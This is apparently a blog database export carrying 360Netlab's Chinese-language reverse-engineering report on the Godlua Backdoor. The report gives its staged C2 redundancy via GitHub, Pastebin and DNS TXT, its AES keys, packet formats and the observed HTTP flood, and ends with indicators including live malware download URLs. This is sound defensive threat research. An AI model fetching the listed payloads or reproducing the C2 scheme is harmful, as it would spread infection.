m\nemegemaxed-transigifuty-multitumolith.net\nexotacible-denitokolike.com\n```\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5d0ca0070bbc140007c57b8e |
post | null | 2019-06-28T08:34:55.000Z | 63873b9a8b1c1e0007f52f50 | an-analysis-of-godlua-backdoor | 0 | 2022-02-09T07:11:41.000Z | public | published | null | 2019-07-01T10:15:28.000Z | Godlua Backdoor分析报告 | <!--kg-card-begin: markdown--><h3 id="">背景介绍</h3>
<p>2019年4月24号，360Netlab未知威胁检测系统发现一个可疑的ELF文件，目前有一部分杀软误识别为挖矿程序。通过详细分析，我们确定这是一款Lua-based Backdoor，因为这个样本加载的Lua字节码文件幻数为“God”，所以我们将它命名为Godlua Backdoor。</p>
<p>Godlua Backdoor会使用硬编码域名，Pastebin.com，GitHub.com和DNS TXT记录等方式，构建存储C2地址的冗余机制。同时，它使用HTTPS加密下载Lua字节码文件，使用DNS over HTTPS获取C2域名解析，保障Bot与Web Server和C2之间的安全通信。</p>
<p>我们观察到Godlua Backdoor实际上存在2个版本，并且有在持续更新。我们还观察到攻击者会通过Lua指令，动态运行Lua代码，并对一些网站发起HTTP Flood 攻击。</p>
<h3 id="">概览</h3>
<p>目前，我们看到的Godlua Backdoor主要存在2个版本，201811051556版本是通过遍历Godlua下载服务器得到，我们没有看到它有更新。当前Godlua Backdoor活跃版本为20190415103713 ~ 2019062117473，并且它还在持续更新。它们都是通过C语言开发实现的Backdoor，不过后者能够适应更多的计算机平台以及支持更多的功能，以下是它们的详细对比图。<br>
<a href="__GHOST_URL__/content/images/2019/06/brief.PNG"><img src="__GHOST_URL__/content/images/2019/06/brief.PNG" class="kg-image"/></a></p>
<h3 id="godluabackdoor">Godlua Backdoor逆向分析</h3>
<h3 id="version201811051556">version 201811051556</h3>
<p>这是我们发现Godlua Backdoor 早期实现的版本(201811051556)，它主要针对Linux平台，并支持2种C2指令，分别是执行Linux系统命令和自定义文件。</p>
<h4 id="">样本信息</h4>
<ul>
<li>MD5: 870319967dba4bd02c7a7f8be8ece94f</li>
</ul>
<blockquote>
<p>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.32, dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped</p>
</blockquote>
<h4 id="c2">C2冗余机制</h4>
<p>我们发现它通过硬编码域名和Github项目描述2种方式来存储C2地址，这其实是一种C2冗余机制。<br>
<a href="__GHOST_URL__/content/images/2019/06/v1.PNG"><img src="__GHOST_URL__/content/images/2019/06/v1.PNG" class="kg-image"/></a></p>
<p>它的硬编码C2域名是: d.heheda.tk<br>
<a href="__GHOST_URL__/content/images/2019/06/1-1.PNG"><img src="__GHOST_URL__/content/images/2019/06/1-1.PNG" class="kg-image"/></a></p>
<p>硬编码Github项目地址，并将C2信息存储在项目描述位置<br>
<a href="__GHOST_URL__/content/images/2019/06/2-4.PNG"><img src="__GHOST_URL__/content/images/2019/06/2-4.PNG" class="kg-image"/></a></p>
<h4 id="c2">C2指令</h4>
<p>cmd_call， 执行Linux系统命令<br>
<a href="__GHOST_URL__/content/images/2019/06/3-3.PNG"><img src="__GHOST_URL__/content/images/2019/06/3-3.PNG" class="kg-image"/></a></p>
<p>cmd_shell，执行自定义文件<br>
<a href="__GHOST_URL__/content/images/2019/06/4-3.PNG"><img src="__GHOST_URL__/content/images/2019/06/4-3.PNG" class="kg-image"/></a></p>
<h4 id="c2">C2协议分析</h4>
<h6 id="">数据包格式</h6>
<table>
<thead>
<tr>
<th>Length</th>
<th>Type</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>Little endian,2 bytes</td>
<td>1 bytes</td>
<td>(Length -3) bytes</td>
</tr>
</tbody>
</table>
<h6 id="">加密算法</h6>
<p>XOR 的Key是随机产生的16 bytes数据，算法为<br>
<a href="__GHOST_URL__/content/images/2019/06/5-2.PNG"><img src="__GHOST_URL__/content/images/2019/06/5-2.PNG" class="kg-image"/></a></p>
<h4 id="">数据包概览</h4>
<h6 id="cmd_handshake">cmd_handshake</h6>
<pre><code class="language-bash">packet[0:31]:
24 00 02 ec 86 a3 23 fb d0 d1 e9 e8 5f 23 6f 6d
70 b5 95 24 44 e0 fc 2e 00 00 00 6c 69 6e 75 78
2d 78 38 36
Length: packet[0:1] --->0x0024
Type: packet[2] --->0x02,handshake
Data: packet[3:31]
Data
Data[0:15] ---->xor key
Data[16:23] ---->version,hardcoded,little endian.
Data[24:31] ---->arch,hardcoded.
</code></pre>
<h6 id="cmd_heartbeat">cmd_heartbeat</h6>
<pre><code class="language-bash">packet[0:10]:
0b 00 03 87 19 45 cb 91 d1 d1 a9
Length: packet[0:1] --->0x000b
Type: packet[2] --->0x03,heartbeat
Data: packet[3:10] --->xored clock64()
</code></pre>
<h3 id="version2019041510371320190621174731">version 20190415103713 ~ 20190621174731</h3>
<p>它是Godlua Backdoor当前活跃版本，主要针对Windows和Linux平台，通过Lua实现主控逻辑并主要支持5种C2指令。</p>
<h4 id="">样本信息</h4>
<h6 id="version20190415103713">version 20190415103713</h6>
<ul>
<li>MD5: c9b712f6c347edde22836fb43b927633</li>
</ul>
<blockquote>
<p>ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped</p>
</blockquote>
<h6 id="version20190621174731">version 20190621174731</h6>
<ul>
<li>MD5: 75902cf93397d2e2d1797cd115f8347a</li>
</ul>
<blockquote>
<p>ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped</p>
</blockquote>
<h4 id="c2">C2冗余机制</h4>
<p><a href="__GHOST_URL__/content/images/2019/06/godlua.PNG"><img src="__GHOST_URL__/content/images/2019/06/godlua.PNG" class="kg-image"/></a></p>
<h4 id="stage1url">Stage-1 URL</h4>
<p>Stage-1 URL存储有3种冗余机制，分别是将该信息通过硬编码密文，Github项目描述和Pastebin文本存储。在解密得到Stage-1 URL后会下载start.png文件，它实际上是Lua字节码。Bot会把它加载到内存中并运行然后获取Stage-2 URL。</p>
<h6 id="">加密算法</h6>
<ul>
<li>AES，CBC模式</li>
<li>key：13 21 02 00 31 21 94 E2 F2 F1 35 61 93 4C 4D 6A</li>
<li>iv：2B 7E 15 16 28 AE D2 01 AB F7 15 02 00 CF 4F 3C</li>
</ul>
<h6 id="">硬编码密文</h6>
<p><strong>version 20190415103713</strong></p>
<ul>
<li>AES密文：03 13 84 29 CC 8B A5 CA AB 05 9E 2F CB AF 5E E6 02 5A 5F 17 74 34 64 EA 5B F1 38 5B 8D B9 A5 3E</li>
<li>Stage-1 URL明文：<code>https://d.heheda.tk/%s.png</code></li>
</ul>
<p><strong>version 20190621174731</strong></p>
<ul>
<li>AES密文：F1 40 DB B4 E1 29 D9 DC 8D 78 45 B9 37 2F 83 47 F1 32 3A 11 01 41 07 CD DB A3 7B 1F 44 A7 DE 6C 2C 81 0E 10 E9 D8 E1 03 38 68 FC 51 81 62 11 DD</li>
<li>Stage-1 URL明文数据：<code>https://img0.cloudappconfig.com/%s.png</code></li>
</ul>
<h6 id="github">Github项目描述</h6>
<ul>
<li>AES密文：EC 76 44 29 59 3D F7 EE B3 01 90 A9 9C 47 C8 96 53 DE 86 CB DF 36 68 41 60 5C FA F5 64 60 5A E4 AE 95 C3 F5 A6 04 47 CB 26 47 A2 23 80 C6 5F 92</li>
<li>Github URL明文：<code>https://api.github.com/repos/helegedada/heihei</code></li>
<li>解密流程:<br>
<a href="__GHOST_URL__/content/images/2019/06/8-2.PNG"><img src="__GHOST_URL__/content/images/2019/06/8-2.PNG" class="kg-image"/></a></li>
<li>Github项目描述密文: oTre1RVbmjqRn2kRrv4SF/l2WfMRn2gEHpqJz77btaDPlO0R9CdQtMM82uAes+Fb</li>
<li>Stage-1 URL明文数据：<code>https://img1.cloudappconfig.com/%s.png</code></li>
</ul>
<h6 id="pastebin">Pastebin文本</h6>
<ul>
<li>AES密文：19 31 21 32 BF E8 29 A8 92 F7 7C 0B DF DC 06 8E 8E 49 F0 50 9A 45 6C 53 77 69 2F 68 48<br>
DC 7F 28 16 EB 86 B3 50 20 D3 01 9D 23 6C A1 33 62 EC 15</li>
<li>Pastebin URL明文：<code>https://pastebin.com/raw/vSDzq3Md</code></li>
<li>解密流程:<br>
<a href="__GHOST_URL__/content/images/2019/06/9.PNG"><img src="__GHOST_URL__/content/images/2019/06/9.PNG" class="kg-image"/></a></li>
<li>Pastebin 文本密文：G/tbLY0TsMUnC+iO9aYm9yS2eayKlKLQyFPOaNxSCnZpBw4RLGnJOPcZXHaf/aoj</li>
<li>Stage-1 URL明文数据：<code>https://img2.cloudappconfig.com/%s.png</code></li>
</ul>
<h4 id="stage2url">Stage-2 URL</h4>
<p>Stage-2 URL存储有2种冗余机制，分别是将该信息通过Github项目文件和DNS TXT存储。在解密得到Stage-2 URL后会下载run.png文件，它也是Lua字节码。Bot会把它加载到内存中并运行然后获取Stage-3 C2。</p>
<h6 id="">加密算法</h6>
<ul>
<li>AES，CBC模式</li>
<li>key：22 85 16 13 57 2d 17 90 2f 00 49 18 5f 17 2b 0a</li>
<li>iv：0d 43 36 41 86 41 21 d2 41 4e 62 00 41 19 4a 5c</li>
</ul>
<h6 id="github">Github项目文件</h6>
<ul>
<li>Github URL明文存储在Lua字节码文件中（start.png），通过反汇编得到以下信息：<br>
<a href="__GHOST_URL__/content/images/2019/06/a-2.PNG"><img src="__GHOST_URL__/content/images/2019/06/a-2.PNG" class="kg-image"/></a></li>
<li>Github 文件密文：<br>
kI7xf+Q/fXC0UT6hCUNimtcH45gPgG9i+YbNnuDyHyh2HJqzBFQStPvHGCZH8Yoz9w02njr41wdl5VNlPCq18qTZUVco5WrA1EIg3zVOcY8=</li>
<li>Stage-2 URL明文数据：<code>{"u":"https:\/\/dd.heheda.tk\/%s.png","c":"dd.heheda.tk::198.204.231.250:"}</code></li>
</ul>
<h6 id="dnstxt">DNS TXT</h6>
<ul>
<li>DNS TXT信息存储在Lua字节码文件中（start.png），通过反汇编得到以下信息：<br>
<a href="__GHOST_URL__/content/images/2019/06/b-2.PNG"><img src="__GHOST_URL__/content/images/2019/06/b-2.PNG" class="kg-image"/></a></li>
<li>通过DNS over HTTPS请求获取DNS TXT记录：<br>
<a href="__GHOST_URL__/content/images/2019/06/dnstxt.PNG"><img src="__GHOST_URL__/content/images/2019/06/dnstxt.PNG" class="kg-image"/></a></li>
<li>DNS TXT密文： 6TmRMwDw5R/sNSEhjCByEw0Vb44nZhEUyUpUR4LcijfIukjdAv+vqqMuYOFAoOpC7Ktyyr6nUOqO9XnDpudVmbGoTeJD6hYrw72YmiOS9dX5M/sPNmsw/eY/XDYYzx5/</li>
<li>Stage-2 URL明文数据：<code>{"u":"http:\/\/img1.cloudappconfig.com\/%s.png","c":"img1.cloudappconfig.com::43.224.225.220:"}</code></li>
</ul>
<h4 id="stage3c2">Stage-3 C2</h4>
<p>Stage-3 C2硬编码在Lua字节码文件中（run.png），通过反汇编得到以下信息</p>
<p><strong>version 20190415103713</strong><br>
<a href="__GHOST_URL__/content/images/2019/06/c-2.PNG"><img src="__GHOST_URL__/content/images/2019/06/c-2.PNG" class="kg-image"/></a></p>
<p><strong>version 20190621174731</strong><br>
<a href="__GHOST_URL__/content/images/2019/06/d-2.PNG"><img src="__GHOST_URL__/content/images/2019/06/d-2.PNG" class="kg-image"/></a></p>
<h6 id="dnsoverhttpsc2a">通过DNS Over HTTPS请求获取C2域名A记录</h6>
<p><a href="__GHOST_URL__/content/images/2019/06/e.PNG"><img src="__GHOST_URL__/content/images/2019/06/e.PNG" class="kg-image"/></a></p>
<h6 id="c2">C2指令</h6>
<pre><code>| CMD | Type |
| --------- | ---- |
| HANDSHAKE | 1 |
| HEARTBEAT | 2 |
| LUA | 3 |
| SHELL | 4 |
| UPGRADE | 5 |
| QUIT | 6 |
| SHELL2 | 7 |
| PROXY | 8 |
</code></pre>
<h6 id="c2">C2协议分析</h6>
<p>数据包格式</p>
<table>
<thead>
<tr>
<th>Type</th>
<th>Length</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>1byte</td>
<td>Big endian,2 bytes</td>
<td>Length bytes</td>
</tr>
</tbody>
</table>
<h6 id="">数据包概览</h6>
<ul>
<li>HANDSHAKE<br>
<a href="__GHOST_URL__/content/images/2019/06/f.PNG"><img src="__GHOST_URL__/content/images/2019/06/f.PNG" class="kg-image"/></a></li>
</ul>
<pre><code>Type: packet[0] --->0x01,HANDSHAKE
LENGTH: packet[1:2] --->0x0010
Data: packet[3:end]
data[0:7] --->Session
data[8:end] --->version,0x00125cfecd8bcb->20190621174731
</code></pre>
<ul>
<li>
<p>HEARTBEAT<br>
<a href="__GHOST_URL__/content/images/2019/06/g.PNG"><img src="__GHOST_URL__/content/images/2019/06/g.PNG" class="kg-image"/></a></p>
<pre><code>Send:
Type: packet[0] --->0x02,HEARTBEAT
Length: packet[1:2] --->0x4
Data: packet[3:end] --->time,0x5d13779b,1561556891
Replay:
Type: packet[0] --->0x02,HEARTBEAT
Length: packet[1:2] --->0x4
Data: packet[3:end] --->1561556891
</code></pre>
</li>
<li>
<p>LUA Payload<br>
<a href="__GHOST_URL__/content/images/2019/06/h.PNG"><img src="__GHOST_URL__/content/images/2019/06/h.PNG" class="kg-image"/></a></p>
<pre><code>Type: packet[0] --->0x03,LUA
Length: packet[1:2] --->0x00ab
Data: packet[3:end] --->Lua script
</code></pre>
</li>
</ul>
<p>我们可以观察到攻击者正在对www.liuxiaobei.top进行HTTP Flood攻击<br>
<a href="__GHOST_URL__/content/images/2019/06/j.PNG"><img src="__GHOST_URL__/content/images/2019/06/j.PNG" class="kg-image"/></a></p>
<h4 id="lua">Lua脚本分析</h4>
<p>Godlua Backdoor Bot样本在运行中会下载许多Lua脚本，可以分为运行，辅助，攻击3大类</p>
<ul>
<li>运行：start.png,run.png,quit.png,watch.png,upgrade.png,proxy.png</li>
<li>辅助：packet.png,curl.png,util.png,utils.png</li>
<li>攻击：VM.png,CC.png</li>
</ul>
<h6 id="">加密算法</h6>
<ul>
<li>AES，CBC模式</li>
<li>key：13 21 02 00 31 21 94 E2 F2 F1 35 61 93 4C 4D 6A</li>
<li>iv：2B 7E 15 16 28 AE D2 01 AB F7 15 02 00 CF 4F 3C</li>
</ul>
<h6 id="lua">Lua幻数</h6>
<p>解密后的文件以upgrade.png为例，是pre-compiled code,高亮部分为文件头。<br>
<a href="__GHOST_URL__/content/images/2019/06/k.PNG"><img src="__GHOST_URL__/content/images/2019/06/k.PNG" class="kg-image"/></a><br>
可以发现幻数从Lua变成了God，虽然样本中有"$LuaVersion: God 5.1.4 C$$LuaAuthors: R. $"字串，但事实上，所采用的版本并不是5.1.4，具体版本无法确定，但可以肯定的是大于5.2。</p>
<h6 id="">反编译</h6>
<p>为了反编译上述脚本，必须知道样本对Lua进行了哪些修改。经过分析，修改分为两大块，分别是：Lua Header 和 Lua Opcode。</p>
<p>通过Luadec[<a href="https://github.com/viruscamp/luadec">1]</a>反编译效果图<br>
<a href="__GHOST_URL__/content/images/2019/06/l.PNG"><img src="__GHOST_URL__/content/images/2019/06/l.PNG" class="kg-image"/></a></p>
<h4 id="">处置建议</h4>
<p>我们还没有完全看清楚Godlua Backdoor的传播途径，但我们知道一些Linux用户是通过Confluence漏洞利用（CVE-2019-3396）感染的。如果我们的读者有更多的信息，欢迎联系我们。<br>
我们建议读者对Godluad Backdoor相关IP，URL和域名进行监控和封锁。</p>
<h4 id="">联系我们</h4>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p>
<h4 id="ioclist">IoC list</h4>
<p>样本MD5</p>
<pre><code>870319967dba4bd02c7a7f8be8ece94f
c9b712f6c347edde22836fb43b927633
75902cf93397d2e2d1797cd115f8347a
</code></pre>
<p>URL</p>
<pre><code>https://helegedada.github.io/test/test
https://api.github.com/repos/helegedada/heihei
http://198.204.231.250/linux-x64
http://198.204.231.250/linux-x86
https://dd.heheda.tk/i.jpg
https://dd.heheda.tk/i.sh
https://dd.heheda.tk/x86_64-static-linux-uclibc.jpg
https://dd.heheda.tk/i686-static-linux-uclibc.jpg
https://dd.cloudappconfig.com/i.jpg
https://dd.cloudappconfig.com/i.sh
https://dd.cloudappconfig.com/x86_64-static-linux-uclibc.jpg
https://dd.cloudappconfig.com/arm-static-linux-uclibcgnueabi.jpg
https://dd.cloudappconfig.com/i686-static-linux-uclibc.jpg
http://d.cloudappconfig.com/i686-w64-mingw32/Satan.exe
http://d.cloudappconfig.com/x86_64-static-linux-uclibc/Satan
http://d.cloudappconfig.com/i686-static-linux-uclibc/Satan
http://d.cloudappconfig.com/arm-static-linux-uclibcgnueabi/Satan
https://d.cloudappconfig.com/mipsel-static-linux-uclibc/Satan
</code></pre>
<p>C2 Domain</p>
<pre><code>d.heheda.tk
dd.heheda.tk
c.heheda.tk
d.cloudappconfig.com
dd.cloudappconfig.com
c.cloudappconfig.com
f.cloudappconfig.com
t.cloudappconfig.com
v.cloudappconfig.com
img0.cloudappconfig.com
img1.cloudappconfig.com
img2.cloudappconfig.com
</code></pre>
<p>IP</p>
<pre><code>198.204.231.250 United States ASN 33387 DataShack, LC
104.238.151.101 Japan ASN 20473 Choopa, LLC
43.224.225.220 Hong Kong ASN 22769 DDOSING NETWORK
</code></pre>
<!--kg-card-end: markdown--> | 背景介绍
2019年4月24号，360Netlab未知威胁检测系统发现一个可疑的ELF文件，目前有一部分杀软误识别为挖矿程序。通过详细分析，我们确定这是一款Lua-based Backdoor，因为这个样本加载的Lua字节码文件幻数为“God”，所以我们将它命名为Godlua Backdoor。
Godlua Backdoor会使用硬编码域名，Pastebin.com，GitHub.com和DNS TXT记录等方式，构建存储C2地址的冗余机制。同时，它使用HTTPS加密下载Lua字节码文件，使用DNS over HTTPS获取C2域名解析，保障Bot与Web Server和C2之间的安全通信。
我们观察到Godlua Backdoor实际上存在2个版本，并且有在持续更新。我们还观察到攻击者会通过Lua指令，动态运行Lua代码，并对一些网站发起HTTP Flood 攻击。
概览
目前，我们看到的Godlua Backdoor主要存在2个版本，201811051556版本是通过遍历Godlua下载服务器得到，我们没有看到它有更新。当前Godlua Backdoor活跃版本为20190415103713 ~ 2019062117473，并且它还在持续更新。它们都是通过C语言开发实现的Backdoor，不过后者能够适应更多的计算机平台以及支持更多的功能，以下是它们的详细对比图。
Godlua Backdoor逆向分析
version 201811051556
这是我们发现Godlua Backdoor 早期实现的版本(201811051556)，它主要针对Linux平台，并支持2种C2指令，分别是执行Linux系统命令和自定义文件。
样本信息
* MD5: 870319967dba4bd02c7a7f8be8ece94f
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.32, dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped
C2冗余机制
我们发现它通过硬编码域名和Github项目描述2种方式来存储C2地址，这其实是一种C2冗余机制。
它的硬编码C2域名是: d.heheda.tk
硬编码Github项目地址，并将C2信息存储在项目描述位置
C2指令
cmd_call， 执行Linux系统命令
cmd_shell，执行自定义文件
C2协议分析
数据包格式
Length
Type
Data
Little endian,2 bytes
1 bytes
(Length -3) bytes
加密算法
XOR 的Key是随机产生的16 bytes数据，算法为
数据包概览
cmd_handshake
packet[0:31]:
24 00 02 ec 86 a3 23 fb d0 d1 e9 e8 5f 23 6f 6d
70 b5 95 24 44 e0 fc 2e 00 00 00 6c 69 6e 75 78
2d 78 38 36
Length: packet[0:1] --->0x0024
Type: packet[2] --->0x02,handshake
Data: packet[3:31]
Data
Data[0:15] ---->xor key
Data[16:23] ---->version,hardcoded,little endian.
Data[24:31] ---->arch,hardcoded.
cmd_heartbeat
packet[0:10]:
0b 00 03 87 19 45 cb 91 d1 d1 a9
Length: packet[0:1] --->0x000b
Type: packet[2] --->0x03,heartbeat
Data: packet[3:10] --->xored clock64()
version 20190415103713 ~ 20190621174731
它是Godlua Backdoor当前活跃版本，主要针对Windows和Linux平台，通过Lua实现主控逻辑并主要支持5种C2指令。
样本信息
version 20190415103713
* MD5: c9b712f6c347edde22836fb43b927633
ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped
version 20190621174731
* MD5: 75902cf93397d2e2d1797cd115f8347a
ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped
C2冗余机制
Stage-1 URL
Stage-1 URL存储有3种冗余机制，分别是将该信息通过硬编码密文，Github项目描述和Pastebin文本存储。在解密得到Stage-1 URL后会下载start.png文件，它实际上是Lua字节码。Bot会把它加载到内存中并运行然后获取Stage-2 URL。
加密算法
* AES，CBC模式
* key：13 21 02 00 31 21 94 E2 F2 F1 35 61 93 4C 4D 6A
* iv：2B 7E 15 16 28 AE D2 01 AB F7 15 02 00 CF 4F 3C
硬编码密文
version 20190415103713
* AES密文：03 13 84 29 CC 8B A5 CA AB 05 9E 2F CB AF 5E E6 02 5A 5F 17 74 34 64 EA 5B F1 38 5B 8D B9 A5 3E
* Stage-1 URL明文：https://d.heheda.tk/%s.png
version 20190621174731
* AES密文：F1 40 DB B4 E1 29 D9 DC 8D 78 45 B9 37 2F 83 47 F1 32 3A 11 01 41 07 CD DB A3 7B 1F 44 A7 DE 6C 2C 81 0E 10 E9 D8 E1 03 38 68 FC 51 81 62 11 DD
* Stage-1 URL明文数据：https://img0.cloudappconfig.com/%s.png
Github项目描述
* AES密文：EC 76 44 29 59 3D F7 EE B3 01 90 A9 9C 47 C8 96 53 DE 86 CB DF 36 68 41 60 5C FA F5 64 60 5A E4 AE 95 C3 F5 A6 04 47 CB 26 47 A2 23 80 C6 5F 92
* Github URL明文：https://api.github.com/repos/helegedada/heihei
* 解密流程:
* Github项目描述密文: oTre1RVbmjqRn2kRrv4SF/l2WfMRn2gEHpqJz77btaDPlO0R9CdQtMM82uAes+Fb
* Stage-1 URL明文数据：https://img1.cloudappconfig.com/%s.png
Pastebin文本
* AES密文：19 31 21 32 BF E8 29 A8 92 F7 7C 0B DF DC 06 8E 8E 49 F0 50 9A 45 6C 53 77 69 2F 68 48
DC 7F 28 16 EB 86 B3 50 20 D3 01 9D 23 6C A1 33 62 EC 15
* Pastebin URL明文：https://pastebin.com/raw/vSDzq3Md
* 解密流程:
* Pastebin 文本密文：G/tbLY0TsMUnC+iO9aYm9yS2eayKlKLQyFPOaNxSCnZpBw4RLGnJOPcZXHaf/aoj
* Stage-1 URL明文数据：https://img2.cloudappconfig.com/%s.png
Stage-2 URL
Stage-2 URL存储有2种冗余机制，分别是将该信息通过Github项目文件和DNS TXT存储。在解密得到Stage-2 URL后会下载run.png文件，它也是Lua字节码。Bot会把它加载到内存中并运行然后获取Stage-3 C2。
加密算法
* AES，CBC模式
* key：22 85 16 13 57 2d 17 90 2f 00 49 18 5f 17 2b 0a
* iv：0d 43 36 41 86 41 21 d2 41 4e 62 00 41 19 4a 5c
Github项目文件
* Github URL明文存储在Lua字节码文件中（start.png），通过反汇编得到以下信息：
* Github 文件密文：
kI7xf+Q/fXC0UT6hCUNimtcH45gPgG9i+YbNnuDyHyh2HJqzBFQStPvHGCZH8Yoz9w02njr41wdl5VNlPCq18qTZUVco5WrA1EIg3zVOcY8=
* Stage-2 URL明文数据：{"u":"https:\/\/dd.heheda.tk\/%s.png","c":"dd.heheda.tk::198.204.231.250:"}
DNS TXT
* DNS TXT信息存储在Lua字节码文件中（start.png），通过反汇编得到以下信息：
* 通过DNS over HTTPS请求获取DNS TXT记录：
* DNS TXT密文： 6TmRMwDw5R/sNSEhjCByEw0Vb44nZhEUyUpUR4LcijfIukjdAv+vqqMuYOFAoOpC7Ktyyr6nUOqO9XnDpudVmbGoTeJD6hYrw72YmiOS9dX5M/sPNmsw/eY/XDYYzx5/
* Stage-2 URL明文数据：{"u":"http:\/\/img1.cloudappconfig.com\/%s.png","c":"img1.cloudappconfig.com::43.224.225.220:"}
Stage-3 C2
Stage-3 C2硬编码在Lua字节码文件中（run.png），通过反汇编得到以下信息
version 20190415103713
version 20190621174731
通过DNS Over HTTPS请求获取C2域名A记录
C2指令
| CMD | Type |
| --------- | ---- |
| HANDSHAKE | 1 |
| HEARTBEAT | 2 |
| LUA | 3 |
| SHELL | 4 |
| UPGRADE | 5 |
| QUIT | 6 |
| SHELL2 | 7 |
| PROXY | 8 |
C2协议分析
数据包格式
Type
Length
Data
1byte
Big endian,2 bytes
Length bytes
数据包概览
* HANDSHAKE
Type: packet[0] --->0x01,HANDSHAKE
LENGTH: packet[1:2] --->0x0010
Data: packet[3:end]
data[0:7] --->Session
data[8:end] --->version,0x00125cfecd8bcb->20190621174731
*
HEARTBEAT
Send:
Type: packet[0] --->0x02,HEARTBEAT
Length: packet[1:2] --->0x4
Data: packet[3:end] --->time,0x5d13779b,1561556891
Replay:
Type: packet[0] --->0x02,HEARTBEAT
Length: packet[1:2] --->0x4
Data: packet[3:end] --->1561556891
*
LUA Payload
Type: packet[0] --->0x03,LUA
Length: packet[1:2] --->0x00ab
Data: packet[3:end] --->Lua script
我们可以观察到攻击者正在对www.liuxiaobei.top进行HTTP Flood攻击
Lua脚本分析
Godlua Backdoor Bot样本在运行中会下载许多Lua脚本，可以分为运行，辅助，攻击3大类
* 运行：start.png,run.png,quit.png,watch.png,upgrade.png,proxy.png
* 辅助：packet.png,curl.png,util.png,utils.png
* 攻击：VM.png,CC.png
加密算法
* AES，CBC模式
* key：13 21 02 00 31 21 94 E2 F2 F1 35 61 93 4C 4D 6A
* iv：2B 7E 15 16 28 AE D2 01 AB F7 15 02 00 CF 4F 3C
Lua幻数
解密后的文件以upgrade.png为例，是pre-compiled code,高亮部分为文件头。
可以发现幻数从Lua变成了God，虽然样本中有"$LuaVersion: God 5.1.4 C$$LuaAuthors: R. $"字串，但事实上，所采用的版本并不是5.1.4，具体版本无法确定，但可以肯定的是大于5.2。
反编译
为了反编译上述脚本，必须知道样本对Lua进行了哪些修改。经过分析，修改分为两大块，分别是：Lua Header 和 Lua Opcode。
通过Luadec[1]反编译效果图
处置建议
我们还没有完全看清楚Godlua Backdoor的传播途径，但我们知道一些Linux用户是通过Confluence漏洞利用（CVE-2019-3396）感染的。如果我们的读者有更多的信息，欢迎联系我们。
我们建议读者对Godluad Backdoor相关IP，URL和域名进行监控和封锁。
联系我们
感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。
IoC list
样本MD5
870319967dba4bd02c7a7f8be8ece94f
c9b712f6c347edde22836fb43b927633
75902cf93397d2e2d1797cd115f8347a
URL
https://helegedada.github.io/test/test
https://api.github.com/repos/helegedada/heihei
http://198.204.231.250/linux-x64
http://198.204.231.250/linux-x86
https://dd.heheda.tk/i.jpg
https://dd.heheda.tk/i.sh
https://dd.heheda.tk/x86_64-static-linux-uclibc.jpg
https://dd.heheda.tk/i686-static-linux-uclibc.jpg
https://dd.cloudappconfig.com/i.jpg
https://dd.cloudappconfig.com/i.sh
https://dd.cloudappconfig.com/x86_64-static-linux-uclibc.jpg
https://dd.cloudappconfig.com/arm-static-linux-uclibcgnueabi.jpg
https://dd.cloudappconfig.com/i686-static-linux-uclibc.jpg
http://d.cloudappconfig.com/i686-w64-mingw32/Satan.exe
http://d.cloudappconfig.com/x86_64-static-linux-uclibc/Satan
http://d.cloudappconfig.com/i686-static-linux-uclibc/Satan
http://d.cloudappconfig.com/arm-static-linux-uclibcgnueabi/Satan
https://d.cloudappconfig.com/mipsel-static-linux-uclibc/Satan
C2 Domain
d.heheda.tk
dd.heheda.tk
c.heheda.tk
d.cloudappconfig.com
dd.cloudappconfig.com
c.cloudappconfig.com
f.cloudappconfig.com
t.cloudappconfig.com
v.cloudappconfig.com
img0.cloudappconfig.com
img1.cloudappconfig.com
img2.cloudappconfig.com
IP
198.204.231.250 United States ASN 33387 DataShack, LC
104.238.151.101 Japan ASN 20473 Choopa, LLC
43.224.225.220 Hong Kong ASN 22769 DDOSING NETWORK
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### 背景介绍\n\n2019年4月24号，360Netlab未知威胁检测系统发现一个可疑的ELF文件，目前有一部分杀软误识别为挖矿程序。通过详细分析，我们确定这是一款Lua-based Backdoor，因为这个样本加载的Lua字节码文件幻数为“God”，所以我们将它命名为Godlua Backdoor。\n\nGodlua Backdoor会使用硬编码域名，Pastebin.com，GitHub.com和DNS TXT记录等方式，构建存储C2地址的冗余机制。同时，它使用HTTPS加密下载Lua字节码文件，使用DNS over HTTPS获取C2域名解析，保障Bot与Web Server和C2之间的安全通信。\n\n我们观察到Godlua Backdoor实际上存在2个版本，并且有在持续更新。我们还观察到攻击者会通过Lua指令，动态运行Lua代码，并对一些网站发起HTTP Flood 攻击。\n\n\n\n### 概览\n\n目前，我们看到的Godlua Backdoor主要存在2个版本，201811051556版本是通过遍历Godlua下载服务器得到，我们没有看到它有更新。当前Godlua Backdoor活跃版本为20190415103713 ~ 2019062117473，并且它还在持续更新。它们都是通过C语言开发实现的Backdoor，不过后者能够适应更多的计算机平台以及支持更多的功能，以下是它们的详细对比图。\n<a href=\"__GHOST_URL__/content/images/2019/06/brief.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/brief.PNG\" class=\"kg-image\"/></a>\n\n\n### Godlua Backdoor逆向分析\n\n### version 201811051556 \n这是我们发现Godlua Backdoor 早期实现的版本(201811051556)，它主要针对Linux平台，并支持2种C2指令，分别是执行Linux系统命令和自定义文件。\n\n#### 样本信息\n\n* MD5: 870319967dba4bd02c7a7f8be8ece94f \n> ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.32, dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped \n\n#### 